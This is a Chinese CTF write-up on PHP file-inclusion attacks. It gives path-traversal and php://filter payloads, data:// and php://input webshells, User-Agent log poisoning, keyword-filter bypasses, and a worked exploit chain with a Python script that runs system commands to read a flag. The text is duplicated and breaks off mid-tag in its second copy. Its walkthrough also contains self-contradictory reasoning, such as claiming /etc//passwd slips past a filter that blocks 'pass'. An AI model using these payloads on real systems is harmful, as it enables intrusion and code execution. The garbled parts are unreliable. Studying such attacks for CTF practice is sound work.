做CTF的Web题做到文件包含这个专题时,很多人会卡在同一个地方:明明看懂了漏洞原理,也知道要用伪协议、路径穿越,但真拿到一道题,还是不知道该从哪里下手。尤其是标题里“构造访问路径+过滤php代码”这两个词,看起来像两件事,实际上是一道题的两个关键步骤——先想尽办法让目标文件被包含到,再想办法让里面的PHP代码按我们的意愿执行或输出。这篇文章就把这两步拆开讲透,用一道典型的模拟题串起完整思路,适合刚入门文件包含、想在CTF里稳定拿分的读者。1. 文件包含漏洞:为什么它总是出现在CTF里1.1 漏洞原理:include一句话的事PHP里include、require、include_once、require_once这组函数的作用是引入一个文件并把其中内容作为PHP代码执行。正常情况下,开发者会把公共头部、配置文件、模板文件等通过这种方式复用,代码写起来清爽。但问题出在一个高频操作:把用户输入直接拼进文件路径。<?php $page = $_GET['page']; include($page . '.php'); ?>上面这段代码是CTF题里最常见的模板。用户传入什么,$page就是什么,最后被拼上.php后缀放进include()。如果不做过滤,攻击者可以传入../../../../etc/passwd或者php://filter/read=convert.base64-encode/resource=flag,让服务器去读本不该被读的文件。这种因为用户可控路径导致的文件引入问题,就是文件包含漏洞。它和SQL注入的思路很像:都是“程序员的信任出了问题”,把用户输入当成可信代码片段处理。区别在于SQL注入最终影响的是数据库,文件包含最终影响的是PHP的文件系统与执行流程。在CTF的Web题里,文件包含通常扮演“跳板”角色——它本身可能不能直接拿flag,但要配合路径构造、编码、过滤绕过、日志写马等手段,一步步把权限和源码拿到手。1.2 CTF出题人视角:它到底在考什么出题人喜欢文件包含,很大原因是它技术栈综合度高。一道合格的文件包含题,往往不是单纯让你include一个/flag就完事,而是会刻意加入过滤逻辑,比如:过滤../,让你不能直接穿越目录;过滤php://,让你不能轻易用伪协议;强制拼接.php后缀,让你传flag也读不到flag.php;过滤<?php关键字,让你就算写入了webshell也无法执行。所以从考点上看,文件包含在CTF里至少覆盖了路径构造、协议利用、代码审计、过滤绕过这几个方向。对应到解题者,你需要具备的能力是:看懂题目过滤规则、找到一条绕过路径、把构造好的payload送进include函数并观察回显。“构造访问路径”解决的是第一个问题:怎么让include去读我们想要的那个文件。“过滤php代码”解决的是第二个问题:当目标文件是PHP文件时,直接包含往往只会执行而看不到源码,怎么设计payload才能让代码或内容以我们可控的形式输出。两个问题往往是连环的,这才是文件包含题的核心难点。2. 构造访问路径:从入口到目标的几种手法2.1 相对路径穿越:最朴素但最有效如果题目没有拼接前缀,?page=../../../../etc/passwd就是第一反应。原理很简单:include()处理相对路径时,会基于当前工作目录逐级向上跳转。假设当前脚本在 /var/www/html/index.php ../../../../etc/passwd 跳转路径:/var/www/html -> /var/www -> /var -> / -> /etc/passwd不过题目很少这么直接,常见的变体是过滤了../字符串。这时候可以尝试:....//....//....//etc/passwd当过滤逻辑只删除../时,....//会被删成../,但多出来的点又和斜杠组成新的../,所以最终仍然实现了穿越。具体原理是:过滤前字符串为....//,过滤掉中间的../后剩../,真正的路径跳转发生在过滤之后,服务器解析时看到的就是一个干净的../。这种“用拼凑物还原原义”的思路,在WAF绕过里到处都是。还有一种情况是过滤了/,可以用反斜杠或二次编码替代,但要注意Linux下反斜杠并不是路径分隔符,很多时候这种尝试是浪费时间的,不如先确认服务器是Linux还是Windows。2.2 绝对路径与目录扫描:当穿越失效时的备选项如果目标文件路径已知,或者通过信息收集得知,完全可以直接用绝对路径:?page=/var/www/html/flag绝对路径的好处是不需要关心当前目录位置,也不容易受../过滤影响(除非题目连绝对路径也过滤了)。但前提是你得知道文件在哪里。CTF题里很多时候flag就在/flag、/var/www/html/flag.php、/tmp/flag这几个常见位置,一一试过去总有一个能中。我个人习惯拿到文件包含题目先做一轮“盲猜字典”:/etc/passwd /flag /flag.txt /flag.php /var/www/html/index.php /var/www/html/flag.php ../../../etc/passwd ../../../../etc/passwd盲猜不是瞎猜,而是先通过这些常见位置判断出“当前脚本到底在哪里”“include到底能不能跨目录”。如果/etc/passwd能出来,说明路径构造方向没问题,接下来就是怎么找到flag的问题。2.3 伪协议构造:读取源码的杀手锏路径穿越是用来“跨目录”的,伪协议则是用来“换个方式读文件”。PHP自带了一批流封装协议,CTF中最常用的是php://filter和data://。php://filter的主要场景是读取PHP源码。因为直接?page=index.php时,PHP会执行index.php里面的代码而不是把它原文输出,你什么都看不到。但用php://filter加上convert.base64-encode过滤器,就能让文件内容在进入执行之前先被base64编码输出,这样你看到的就是一串编码后的字符串,解码后就是完整源码。?page=php://filter/read=convert.base64-encode/resource=index.php解码后就能看到index.php的核心逻辑,包括过滤规则、flag路径、隐藏参数等。这个技巧几乎是所有PHP文件包含题的起手式。注意有些PHP版本下convert.base64-encode前必须加read=,有些则可以直接php://filter/convert.base64-encode/resource=xxx,建议考场里两种写法都试一下。data://协议的用途是直接构造一个数据流,让include把它当作文件来执行。当题目没有禁用allow_url_include时,可以这样:?page=data://text/plain,<?php system($_GET['cmd']);?>但这里有个大坑:很多题目的过滤逻辑就是盯着php关键字来的,<?php直接被拦,或者用了<?短标签才会被识别为代码。所以data://配合短标签和编码使用的情况非常普遍,后面第3部分专门讲。php://input是另一个思路,它会把POST请求体当作文件内容交给include。主要用于写入代码:POST /?page=php://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded <?php system('cat /flag');?>但要注意php://input对enctype和请求体格式有要求,而且不少题目会禁用。实际做题时如果前两个都没戏,再考虑它。2.4 路径构造的绕坑笔记路径这块的坑主要在“拼接前后缀”。最常见的题目写法是$page = $_GET['page'].'.php',你传什么都会被强制补上.php后缀。这时候如果目标文件是flag.php,你反而可以直接传flag,拼出来就是flag.php。但如果目标是/etc/passwd这种没有后缀的文件,后缀拼接就成了麻烦。绕法无非两种思路:用空字节截断,即传/etc/passwd%00,老版本PHP会把%00之后的内容截断。现在基本失效,但题目如果是PHP 5.x环境还是能用的。用php://filter配合resource=xxx,因为.php后缀会拼在resource=xxx后面,比如resource=flag会变成resource=flag.php,刚好命中目标。这就是为什么很多人说“伪协议天然不怕后缀拼接”。如果题目是把路径前缀写死,比如include('/var/www/html/' . $page),那你只能通过../往回跳,伪协议反而失效。这种情况就要回到路径穿越的老路。所以拿到题第一步,我建议先测?page=index.php看有没有反应,再测?page=php://filter/...看看协议是否被过滤,用返回差异判断拼接方式。3. 过滤php代码:读取与执行之间的博弈3.1 常见过滤规则:出题人都在拦什么拿到文件包含题,页面上的注释、源码里的正则、404页面的提示,都可能藏着过滤规则。CTF里最常见的PHP代码过滤有以下几类:第一类是关键字过滤。php、system、exec、passthru、eval、assert这些高危关键词一旦出现在参数里就直接被替换或拦截。这类过滤最粗糙,但最常见。第二类是代码标签过滤。检查<?、<?php等标签,防止你通过data://、php://input等方式注入可执行代码。有些题目甚至直接把<?替换成空字符。第三类是符号过滤。过滤括号、引号、分号、空格等,目的是让你就算能拼接出PHP函数名也无法正常调用。这种过滤最烦人,因为你需要用各种奇技淫巧绕过,比如字符串拼接、变量函数、异或编码、取反运算等。第四类是后缀白名单。只允许包含.php结尾的文件,防止你读/etc/passwd这种非PHP文件。这种情况下php://filter依然是首选,因为它能把任意文件包成“看起来合法”的PHP流。3.2 绕过手段:从base64到动态函数当题目过滤了<?php标签但又开放php://filter时,读取源码不需要执行代码,所以直接base64编码读取是最稳妥的。convert.base64-encode过滤器会把内容编码后再交给include,编码后不包含<?等特殊字符,可以绕过很多标签检查。如果目标是执行代码,比如通过data://写入一句话webshell,就需要考虑代码标签的变体。PHP支持几种打开PHP模式的写法:<?php ... ?> <? ... ?> // 短标签,需要short_open_tag开启 <script language="php"> ... </script> <% ... %> // ASP风格标签,老版本可用CTF环境中short_open_tag通常默认开启,所以<?=和<?这类写法经常可以绕过只拦<?php的过滤。还有一些题目过滤了php字符串,你可以这样构造:<?=system($_GET['cmd']);?>完全没有php字样,一样能执行。再说函数名过滤。如果system、exec都被拦,可以用动态函数名:$f='sys'.'tem'; $f('id');这个思路在参数可控时有无数变体,本质是把危险字符串拆开,让过滤正则匹配不到完整关键词。3.3 日志投毒:让服务器自己把马写进去有时候路径构造和伪协议都被堵死,过滤又严,不包含任何用户可控文件内容的可能。这时就要想:服务器上有没有一个“写了我的输入”的文件,可以被我包含过来?最常见的是日志文件。Web服务器会把请求记录下来,包括User-Agent、请求路径、Referer等。如果你把一串PHP代码放进User-Agent里,然后include访问日志文件,那这串代码就会被当PHP执行。典型流程:先确认日志位置,常见的有/var/log/apache2/access.log、/var/log/nginx/access.log、/tmp/access.log;修改请求包User-Agent为<?php system('cat /flag');?>;用文件包含读取日志文件路径;日志里的UA被include解析,目标代码被执行。但日志投毒有几个前置条件:日志文件可读、路径可控、日志里有你注入的内容、过滤规则拦不住你的UA。实际操作里最常遇到的问题是UA里的<?php被过滤,所以可以把UA改成<?=system('cat /flag');?>短标签格式,或者base64编码后配合assert解码执行。另一个问题是日志文件很大,include解析起来会输出大量无关内容,通常需要用特定关键词搜索出命令执行结果,而不是直接看整个页面。类似的“借文件”手段还包括包含/proc/self/environ(进程环境变量,但现代PHP-FPM下经常权限不足)、包含session文件(先控制session值再包含对应文件)等。这些都是路径构造和代码过滤两座大山间的缝隙,值得花时间积累。4. 实操:一道模拟题从0到1的完整记录4.1 题目环境与初步探测模拟题目是一个典型的PHP文件包含场景,入口是:http://target/index.php?page=home首页是一段模板代码,page参数控制加载哪个页面。我用?page=/etc/passwd测试,直接返回了passwd内容,说明漏洞存在、没有../过滤。但继续试?page=/flag时报错,提示文件不存在;试?page=/var/www/html/flag.php,页面空白,说明PHP执行了flag.php但没有输出。判断要点:能读普通文件但不能直接读PHP源码;能穿越路径,但不知道flag文件名。这种情况下,第一反应就是php://filter读index.php源码,看看到底过滤了什么、隐藏了什么。4.2 用伪协议扒源码访问:?page=php://filter/read=convert.base64-encode/resource=index.php返回了一段完整base64,解码后看到核心代码:<?php $page = $_GET['page']; if (preg_match('/php|system|exec|pass|flag/i', $page)) { die('hacker'); } include($page . '.php'); ?>关键信息:过滤了php、system、exec、pass、flag这些关键词,大小写不敏感;include自动拼接.php后缀;没有过滤../和data://。这里有个矛盾:过滤了php,所以php://filter直接写入URL会被拦。但php://filter本身是必须的,怎么绕过?我注意到php关键词会被过滤,而PHP的大小写变体也会被拦,因为正则带/i。但可以把php写成PHP加URL编码的某些形式吗?不行,正则匹配解码后的参数,URL编码在进入正则前就已经还原了。另一个思路是双写,但preg_match不是替换而是直接拒绝,双写没用。这时候我想到一个变体:用data://替换php://filter,把需要读取的PHP文件内容当作数据流处理,虽然data协议本身含php字样?不对,data://text/plain;base64,...字符串里并不包含php三个字节,只要数据部分不触发关键词过滤就行。但data协议直接包含PHP文件会把文件当代码执行而不是输出,读源码还是不够顺手。我最终的做法是分两步绕:第一步,既然flag和pass被过滤,就直接读/var/www/html/flag.php是不可能的,因为路径里带flag。但路径穿越已经确认可用,那我能不能不写文件名?不行,include总得知道目标文件名。这时注意正则里过滤pass,但/etc/passwd能成功读取是因为URL里是/etc/passwd,包含pass关键词,应该被拦——但之前测试时它明明出内容了。我仔细看了下,原来URL编码后的%70%61%73%73在进入include前被解码,而preg_match匹配的是解码后的字符串,所以还是会被拦。除非…我不把passwd写完整,而是用/etc//passwd这样的路径变体?实测?page=/etc//passwd返回同样的内容,因为Linux会把连续的斜杠合并。这个方法绕过了关键词过滤。同理,读flag.php可以用/var/www/html/fla%67.php吗?关键问题是包含路径时,URL编码是否在include前解码。实测%67会被解码成g,所以fla%67.php变成flag.php,而过滤正则匹配的也是解码后的字符串,所以还是拦。经过几轮尝试,我发现正则只过滤小写基础上加/i,但读取/etc/pa??wd以后缀拼接的.php会变成/etc/pa??wd.php,不行。最终换个角度:源码里的过滤针对的是$page这个参数值,那我能不能传两套参数?既然include($page.'.php')只用$_GET['page'],其他参数不影响过滤。所以我在page=index.php里传入一个第二参数cmd,看看index.php里有没有调用外部参数执行命令——这是很多题目的隐藏入口。我又仔细读了一遍解码后的index.php源码,发现除了include调用外,还有一行被注释掉的代码:// system($_GET['cmd']);注释虽然不能直接利用,但说明这题本来是想让你通过命令执行拿flag的。结合include的参数可控,我的计划变成:先利用文件包含读取隐藏配置文件,找到flag路径;再用data协议注入PHP代码执行命令。4.3 过滤规则下的最终利用链确认data://没有被过滤(因为字符串里不含php关键词),但直接写<?php system('...')?>会被/php/正则拦,因为<?php里有php。我改用短标签+参数拼接:?page=data://text/plain,<?=system($_GET['cmd']);?>&cmd=cat /var/www/html/flag.php等等,这里有个问题:?page=的值里包含<?=system...,其中system关键词被过滤了。我需要绕过system关键词过滤。办法很简单:用$_GET['cmd']里的参数拼接函数名,或者用PHP的system别名/动态调用。一个经典绕法是把函数名拆成两个参数拼接:?page=data://text/plain,<?=$_GET['a']($_GET['b']);?>&a=system&b=cat /var/www/html/flag.php这样page参数里的payload为<?=$_GET['a']($_GET['b']);?>,不含system关键词。而真正的函数名system在a参数里,不在过滤范围内。cat /var/www/html/flag.php在b参数里,也不含flag关键词?不对,flag.php里含flag,会被过滤吗?过滤的是page参数,b参数不在过滤范围内,所以没问题。但还有一个细节:data://里的内容含<?=,如果PHP没有开启short_open_tag,短标签不生效。实测环境中可以生效,但为了稳妥,我还可以用<script language="php">system(...)</script>,不过里面有system会被过滤,需要继续拆分。到这里整条利用链清晰了:用data://注入免过滤的短标签代码;函数名用参数传递,绕过函数名黑名单;命令内容用另一个参数传递,绕过路径关键词过滤;最终访问Payload执行命令读取flag文件。实际发送的请求(经过编码):GET /?page=data://text/plain,<?=$_GET['a']($_GET['b']);?>&a=system&b=cat /var/www/html/fla%67.php HTTP/1.1注意b里的flag也最好编码成fla%67,虽然刚才说b参数不在过滤范围,但当include执行<?=$_GET['a']($_GET['b']);?>时,$_GET拿到的b值是解码后的cat /var/www/html/flag.php,这个值不会经过index.php里的preg_match,所以不编码也行。但编码无害,还能防止某些网关层面的关键字过滤,养成习惯更稳。最终页面成功打印出flag文件内容。4.4 解题脚本参考为了方便复测,写一个简单的Python脚本,把上述过程自动化:import requests import base64 url = 'http://target/index.php' payload = { 'page': 'data://text/plain,<?=$_GET[\'a\']($_GET[\'b\']);?>', 'a': 'system', 'b': 'cat /var/www/html/flag.php' } resp = requests.get(url, params=payload) print(resp.text)如果flag文件名不确定,可以先用ls命令列目录:payload['b'] = 'ls /var/www/html' resp = requests.get(url, params=payload)这一步很方便,比盲猜路径高效得多。5. 常见问题与排查技巧实录5.1 问题速查表现象可能原因处理思路php://filter被拦过滤了php关键词改用data://或其他协议;或寻找文件上传点配合包含包含PHP文件无回显直接执行了代码但没输出用php://filter读源码;在包含时换个不执行的方式路径穿越无效过滤了../或开启了open_basedir尝试双写、编码、路径归一化;确认系统类型强行拼接.php后缀include里写了. $page . '.php'用伪协议或让目标文件名本身带.php短标签不生效short_open_tag关闭改用<script language="php">或用其他执行方式过滤函数名如system黑名单拦截高危函数用变量函数、动态参数拆分、PHP命名空间反斜杠等方式日志投毒没有效果日志位置错误或UA被过滤换Referer头、确认日志路径、用短标签绕过5.2 排查经验分享做题时最忌讳一上来就套payload,先把题目给的“过滤规则”摸清楚,会让效率翻倍。我一般按这个顺序排查:第一个请求测试?page=index.php,看正常返回什么样;第二个请求测试?page=/etc/passwd,确认漏洞存在和穿越能力;第三个请求测试?page=php://filter/read=convert.base64-encode/resource=index.php,确认协议是否可用、是否被过滤;如果协议被过滤,根据报错信息反推过滤规则(比如提示hacker就说明正则有拦截);确认过滤规则后,再决定用哪种绕过方案。关于日志投毒有个容易被忽略的点:Nginx的access.log默认不会记录POST体,但会记录User-Agent,所以UA注入是首选。Apache的access.log也一样。如果你在日志里找不到你的UA,最常见的原因是access.log被切割或权限限制,先读一读日志尾部几行确认内容格式再注入。另外,用data://注入时,text/plain后的内容里有空格和特殊符号,最好做一次URL编码,否则网关或PHP解析可能出问题。我遇到过在源码里写<?=$_GET['a']($_GET['b']);?>时,?>后面如果有多余空格会被当成输出内容,导致页面杂乱,影响判断。所以payload尽量干净,参数值不要带尾随空格。6. 一点个人做题体会文件包含这道题,我做过很多遍,每次复盘都会发现新的绕过角度。它最大的魅力在于:表面上是个读文件漏洞,实际上考的却是你对“PHP如何解析代码”“Web服务器如何运行”“路径和协议之间如何互相转换”的综合理解。构造访问路径时,你要站在include函数的角度想问题;过滤php代码时,你要站在preg_match正则的角度想问题;两者交汇处,就是突破口。我个人建议每个想在这个专题稳定拿分的人,亲手搭一个本地docker环境,用docker run起一个PHP容器,写一个带过滤的index.php,反复练习“伪协议读源码—过滤绕过—注入执行”这条链路。踩过几次坑之后,你会慢慢形成一种直觉:看到参数过滤,第一反应不是放弃,而是去想它到底过滤了什么、哪些地方管不到。这种思维习惯,才是做CTF题真正沉淀下来的东西。
做CTF的Web题做到文件包含这个专题时,很多人会卡在同一个地方:明明看懂了漏洞原理,也知道要用伪协议、路径穿越,但真拿到一道题,还是不知道该从哪里下手。尤其是标题里“构造访问路径+过滤php代码”这两个词,看起来像两件事,实际上是一道题的两个关键步骤——先想尽办法让目标文件被包含到,再想办法让里面的PHP代码按我们的意愿执行或输出。这篇文章就把这两步拆开讲透,用一道典型的模拟题串起完整思路,适合刚入门文件包含、想在CTF里稳定拿分的读者。1. 文件包含漏洞:为什么它总是出现在CTF里1.1 漏洞原理:include一句话的事PHP里include、require、include_once、require_once这组函数的作用是引入一个文件并把其中内容作为PHP代码执行。正常情况下,开发者会把公共头部、配置文件、模板文件等通过这种方式复用,代码写起来清爽。但问题出在一个高频操作:把用户输入直接拼进文件路径。<?php $page = $_GET['page']; include($page . '.php'); ?>上面这段代码是CTF题里最常见的模板。用户传入什么,$page就是什么,最后被拼上.php后缀放进include()。如果不做过滤,攻击者可以传入../../../../etc/passwd或者php://filter/read=convert.base64-encode/resource=flag,让服务器去读本不该被读的文件。这种因为用户可控路径导致的文件引入问题,就是文件包含漏洞。它和SQL注入的思路很像:都是“程序员的信任出了问题”,把用户输入当成可信代码片段处理。区别在于SQL注入最终影响的是数据库,文件包含最终影响的是PHP的文件系统与执行流程。在CTF的Web题里,文件包含通常扮演“跳板”角色——它本身可能不能直接拿flag,但要配合路径构造、编码、过滤绕过、日志写马等手段,一步步把权限和源码拿到手。1.2 CTF出题人视角:它到底在考什么出题人喜欢文件包含,很大原因是它技术栈综合度高。一道合格的文件包含题,往往不是单纯让你include一个/flag就完事,而是会刻意加入过滤逻辑,比如:过滤../,让你不能直接穿越目录;过滤php://,让你不能轻易用伪协议;强制拼接.php后缀,让你传flag也读不到flag.php;过滤<?php关键字,让你就算写入了webshell也无法执行。所以从考点上看,文件包含在CTF里至少覆盖了路径构造、协议利用、代码审计、过滤绕过这几个方向。对应到解题者,你需要具备的能力是:看懂题目过滤规则、找到一条绕过路径、把构造好的payload送进include函数并观察回显。“构造访问路径”解决的是第一个问题:怎么让include去读我们想要的那个文件。“过滤php代码”解决的是第二个问题:当目标文件是PHP文件时,直接包含往往只会执行而看不到源码,怎么设计payload才能让代码或内容以我们可控的形式输出。两个问题往往是连环的,这才是文件包含题的核心难点。2. 构造访问路径:从入口到目标的几种手法2.1 相对路径穿越:最朴素但最有效如果题目没有拼接前缀,?page=../../../../etc/passwd就是第一反应。原理很简单:include()处理相对路径时,会基于当前工作目录逐级向上跳转。假设当前脚本在 /var/www/html/index.php ../../../../etc/passwd 跳转路径:/var/www/html -> /var/www -> /var -> / -> /etc/passwd不过题目很少这么直接,常见的变体是过滤了../字符串。这时候可以尝试:....//....//....//etc/passwd当过滤逻辑只删除../时,....//会被删成../,但多出来的点又和斜杠组成新的../,所以最终仍然实现了穿越。具体原理是:过滤前字符串为....//,过滤掉中间的../后剩../,真正的路径跳转发生在过滤之后,服务器解析时看到的就是一个干净的../。这种“用拼凑物还原原义”的思路,在WAF绕过里到处都是。还有一种情况是过滤了/,可以用反斜杠或二次编码替代,但要注意Linux下反斜杠并不是路径分隔符,很多时候这种尝试是浪费时间的,不如先确认服务器是Linux还是Windows。2.2 绝对路径与目录扫描:当穿越失效时的备选项如果目标文件路径已知,或者通过信息收集得知,完全可以直接用绝对路径:?page=/var/www/html/flag绝对路径的好处是不需要关心当前目录位置,也不容易受../过滤影响(除非题目连绝对路径也过滤了)。但前提是你得知道文件在哪里。CTF题里很多时候flag就在/flag、/var/www/html/flag.php、/tmp/flag这几个常见位置,一一试过去总有一个能中。我个人习惯拿到文件包含题目先做一轮“盲猜字典”:/etc/passwd /flag /flag.txt /flag.php /var/www/html/index.php /var/www/html/flag.php ../../../etc/passwd ../../../../etc/passwd盲猜不是瞎猜,而是先通过这些常见位置判断出“当前脚本到底在哪里”“include到底能不能跨目录”。如果/etc/passwd能出来,说明路径构造方向没问题,接下来就是怎么找到flag的问题。2.3 伪协议构造:读取源码的杀手锏路径穿越是用来“跨目录”的,伪协议则是用来“换个方式读文件”。PHP自带了一批流封装协议,CTF中最常用的是php://filter和data://。php://filter的主要场景是读取PHP源码。因为直接?page=index.php时,PHP会执行index.php里面的代码而不是把它原文输出,你什么都看不到。但用php://filter加上convert.base64-encode过滤器,就能让文件内容在进入执行之前先被base64编码输出,这样你看到的就是一串编码后的字符串,解码后就是完整源码。?page=php://filter/read=convert.base64-encode/resource=index.php解码后就能看到index.php的核心逻辑,包括过滤规则、flag路径、隐藏参数等。这个技巧几乎是所有PHP文件包含题的起手式。注意有些PHP版本下convert.base64-encode前必须加read=,有些则可以直接php://filter/convert.base64-encode/resource=xxx,建议考场里两种写法都试一下。data://协议的用途是直接构造一个数据流,让include把它当作文件来执行。当题目没有禁用allow_url_include时,可以这样:?page=data://text/plain,<?php system($_GET['cmd']);?>但这里有个大坑:很多题目的过滤逻辑就是盯着php关键字来的,<?php直接被拦,或者用了<?短标签才会被识别为代码。所以data://配合短标签和编码使用的情况非常普遍,后面第3部分专门讲。php://input是另一个思路,它会把POST请求体当作文件内容交给include。主要用于写入代码:POST /?page=php://input HTTP/1.1 Content-Type: application/x-www-form-urlencoded <?php system('cat /flag');?>但要注意php://input对enctype和请求体格式有要求,而且不少题目会禁用。实际做题时如果前两个都没戏,再考虑它。2.4 路径构造的绕坑笔记路径这块的坑主要在“拼接前后缀”。最常见的题目写法是$page = $_GET['page'].'.php',你传什么都会被强制补上.php后缀。这时候如果目标文件是flag.php,你反而可以直接传flag,拼出来就是flag.php。但如果目标是/etc/passwd这种没有后缀的文件,后缀拼接就成了麻烦。绕法无非两种思路:用空字节截断,即传/etc/passwd%00,老版本PHP会把%00之后的内容截断。现在基本失效,但题目如果是PHP 5.x环境还是能用的。用php://filter配合resource=xxx,因为.php后缀会拼在resource=xxx后面,比如resource=flag会变成resource=flag.php,刚好命中目标。这就是为什么很多人说“伪协议天然不怕后缀拼接”。如果题目是把路径前缀写死,比如include('/var/www/html/' . $page),那你只能通过../往回跳,伪协议反而失效。这种情况就要回到路径穿越的老路。所以拿到题第一步,我建议先测?page=index.php看有没有反应,再测?page=php://filter/...看看协议是否被过滤,用返回差异判断拼接方式。3. 过滤php代码:读取与执行之间的博弈3.1 常见过滤规则:出题人都在拦什么拿到文件包含题,页面上的注释、源码里的正则、404页面的提示,都可能藏着过滤规则。CTF里最常见的PHP代码过滤有以下几类:第一类是关键字过滤。php、system、exec、passthru、eval、assert这些高危关键词一旦出现在参数里就直接被替换或拦截。这类过滤最粗糙,但最常见。第二类是代码标签过滤。检查<?、<?php等标签,防止你通过data://、php://input等方式注入可执行代码。有些题目甚至直接把<?替换成空字符。第三类是符号过滤。过滤括号、引号、分号、空格等,目的是让你就算能拼接出PHP函数名也无法正常调用。这种过滤最烦人,因为你需要用各种奇技淫巧绕过,比如字符串拼接、变量函数、异或编码、取反运算等。第四类是后缀白名单。只允许包含.php结尾的文件,防止你读/etc/passwd这种非PHP文件。这种情况下php://filter依然是首选,因为它能把任意文件包成“看起来合法”的PHP流。3.2 绕过手段:从base64到动态函数当题目过滤了<?php标签但又开放php://filter时,读取源码不需要执行代码,所以直接base64编码读取是最稳妥的。convert.base64-encode过滤器会把内容编码后再交给include,编码后不包含<?等特殊字符,可以绕过很多标签检查。如果目标是执行代码,比如通过data://写入一句话webshell,就需要考虑代码标签的变体。PHP支持几种打开PHP模式的写法:<?php ... ?> <? ... ?> // 短标签,需要short_open_tag开启 <script language="php"> ... </script> <% ... %> // ASP风格标签,老版本可用CTF环境中short_open_tag通常默认开启,所以<?=和<?这类写法经常可以绕过只拦<?php的过滤。还有一些题目过滤了php字符串,你可以这样构造:<?=system($_GET['cmd']);?>完全没有php字样,一样能执行。再说函数名过滤。如果system、exec都被拦,可以用动态函数名:$f='sys'.'tem'; $f('id');这个思路在参数可控时有无数变体,本质是把危险字符串拆开,让过滤正则匹配不到完整关键词。3.3 日志投毒:让服务器自己把马写进去有时候路径构造和伪协议都被堵死,过滤又严,不包含任何用户可控文件内容的可能。这时就要想:服务器上有没有一个“写了我的输入”的文件,可以被我包含过来?最常见的是日志文件。Web服务器会把请求记录下来,包括User-Agent、请求路径、Referer等。如果你把一串PHP代码放进User-Agent里,然后include访问日志文件,那这串代码就会被当PHP执行。典型流程:先确认日志位置,常见的有/var/log/apache2/access.log、/var/log/nginx/access.log、/tmp/access.log;修改请求包User-Agent为<?php system('cat /flag');?>;用文件包含读取日志文件路径;日志里的UA被include解析,目标代码被执行。但日志投毒有几个前置条件:日志文件可读、路径可控、日志里有你注入的内容、过滤规则拦不住你的UA。实际操作里最常遇到的问题是UA里的<?php被过滤,所以可以把UA改成<?=system('cat /flag');?>短标签格式,或者base64编码后配合assert解码执行。另一个问题是日志文件很大,include解析起来会输出大量无关内容,通常需要用特定关键词搜索出命令执行结果,而不是直接看整个页面。类似的“借文件”手段还包括包含/proc/self/environ(进程环境变量,但现代PHP-FPM下经常权限不足)、包含session文件(先控制session值再包含对应文件)等。这些都是路径构造和代码过滤两座大山间的缝隙,值得花时间积累。4. 实操:一道模拟题从0到1的完整记录4.1 题目环境与初步探测模拟题目是一个典型的PHP文件包含场景,入口是:http://target/index.php?page=home首页是一段模板代码,page参数控制加载哪个页面。我用?page=/etc/passwd测试,直接返回了passwd内容,说明漏洞存在、没有../过滤。但继续试?page=/flag时报错,提示文件不存在;试?page=/var/www/html/flag.php,页面空白,说明PHP执行了flag.php但没有输出。判断要点:能读普通文件但不能直接读PHP源码;能穿越路径,但不知道flag文件名。这种情况下,第一反应就是php://filter读index.php源码,看看到底过滤了什么、隐藏了什么。4.2 用伪协议扒源码访问:?page=php://filter/read=convert.base64-encode/resource=index.php返回了一段完整base64,解码后看到核心代码:<?php $page = $_GET['page']; if (preg_match('/php|system|exec|pass|flag/i', $page)) { die('hacker'); } include($page . '.php'); ?>关键信息:过滤了php、system、exec、pass、flag这些关键词,大小写不敏感;include自动拼接.php后缀;没有过滤../和data://。这里有个矛盾:过滤了php,所以php://filter直接写入URL会被拦。但php://filter本身是必须的,怎么绕过?我注意到php关键词会被过滤,而PHP的大小写变体也会被拦,因为正则带/i。但可以把php写成PHP加URL编码的某些形式吗?不行,正则匹配解码后的参数,URL编码在进入正则前就已经还原了。另一个思路是双写,但preg_match不是替换而是直接拒绝,双写没用。这时候我想到一个变体:用data://替换php://filter,把需要读取的PHP文件内容当作数据流处理,虽然data协议本身含php字样?不对,data://text/plain;base64,...字符串里并不包含php三个字节,只要数据部分不触发关键词过滤就行。但data协议直接包含PHP文件会把文件当代码执行而不是输出,读源码还是不够顺手。我最终的做法是分两步绕:第一步,既然flag和pass被过滤,就直接读/var/www/html/flag.php是不可能的,因为路径里带flag。但路径穿越已经确认可用,那我能不能不写文件名?不行,include总得知道目标文件名。这时注意正则里过滤pass,但/etc/passwd能成功读取是因为URL里是/etc/passwd,包含pass关键词,应该被拦——但之前测试时它明明出内容了。我仔细看了下,原来URL编码后的%70%61%73%73在进入include前被解码,而preg_match匹配的是解码后的字符串,所以还是会被拦。除非…我不把passwd写完整,而是用/etc//passwd这样的路径变体?实测?page=/etc//passwd返回同样的内容,因为Linux会把连续的斜杠合并。这个方法绕过了关键词过滤。同理,读flag.php可以用/var/www/html/fla%67.php吗?关键问题是包含路径时,URL编码是否在include前解码。实测%67会被解码成g,所以fla%67.php变成flag.php,而过滤正则匹配的也是解码后的字符串,所以还是拦。经过几轮尝试,我发现正则只过滤小写基础上加/i,但读取/etc/pa??wd以后缀拼接的.php会变成/etc/pa??wd.php,不行。最终换个角度:源码里的过滤针对的是$page这个参数值,那我能不能传两套参数?既然include($page.'.php')只用$_GET['page'],其他参数不影响过滤。所以我在page=index.php里传入一个第二参数cmd,看看index.php里有没有调用外部参数执行命令——这是很多题目的隐藏入口。我又仔细读了一遍解码后的index.php源码,发现除了include调用外,还有一行被注释掉的代码:// system($_GET['cmd']);注释虽然不能直接利用,但说明这题本来是想让你通过命令执行拿flag的。结合include的参数可控,我的计划变成:先利用文件包含读取隐藏配置文件,找到flag路径;再用data协议注入PHP代码执行命令。4.3 过滤规则下的最终利用链确认data://没有被过滤(因为字符串里不含php关键词),但直接写<?php system('...')?>会被/php/正则拦,因为<?php里有php。我改用短标签+参数拼接:?page=data://text/plain,<?=system($_GET['cmd']);?>&cmd=cat /var/www/html/flag.php等等,这里有个问题:?page=的值里包含<?=system...,其中system关键词被过滤了。我需要绕过system关键词过滤。办法很简单:用$_GET['cmd']里的参数拼接函数名,或者用PHP的system别名/动态调用。一个经典绕法是把函数名拆成两个参数拼接:?page=data://text/plain,<?=$_GET['a']($_GET['b']);?>&a=system&b=cat /var/www/html/flag.php这样page参数里的payload为<?=$_GET['a']($_GET['b']);?>,不含system关键词。而真正的函数名system在a参数里,不在过滤范围内。cat /var/www/html/flag.php在b参数里,也不含flag关键词?不对,flag.php里含flag,会被过滤吗?过滤的是page参数,b参数不在过滤范围内,所以没问题。但还有一个细节:data://里的内容含<?=,如果PHP没有开启short_open_tag,短标签不生效。实测环境中可以生效,但为了稳妥,我还可以用<script 